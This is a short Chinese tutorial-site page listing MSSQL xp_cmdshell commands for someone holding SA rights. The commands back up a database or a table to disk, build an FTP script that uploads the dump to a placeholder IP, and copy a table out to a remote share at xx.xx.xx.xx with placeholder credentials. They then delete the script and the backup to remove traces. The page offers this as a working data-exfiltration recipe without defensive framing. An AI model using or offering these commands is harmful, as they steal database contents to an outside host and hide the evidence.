来源:自学PHP网 时间:2015-04-16 23:15 作者: 阅读:次
[导读] Mssql SA权限exec master dbo xp_cmdshell del c: bak-- backup database 数据库名 to disk = c: bak --备份整个库-- exec master dbo xp_cmdshell...
Mssql SA权限 exec master.dbo.xp_cmdshell "del c:\bak" -- backup database 数据库名 to disk = 'c:\bak' --备份整个库 -- exec master.dbo.xp_cmdshell 'bcp 数据库名.dbo.表名 out c:\bak -c' --备份单个表(文本) exec master.dbo.xp_cmdshell "echo open IP地址 > c:\ftp.txt" exec master.dbo.xp_cmdshell "echo ftp账户 >> c:\ftp.txt" exec master.dbo.xp_cmdshell "echo ftp密码 >> c:\ftp.txt" exec master.dbo.xp_cmdshell "echo binary >> c:\ftp.txt" exec master.dbo.xp_cmdshell "echo put c:\bak >> c:\ftp.txt" exec master.dbo.xp_cmdshell "ftp -s:c:\ftp.txt" exec master.dbo.xp_cmdshell "del c:\ftp.txt" exec master.dbo.xp_cmdshell "del c:\bak" exec master..xp_cmdshell 'net use \\xx.xx.xx.xx\d$\test "pass" /user:"user"' exec master..xp_cmdshell 'bcp test.dbo.test out \\xx.xx.xx.xx\d$\test\1.txt -c -Slocalhost -Uuser -Ppass'
|
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com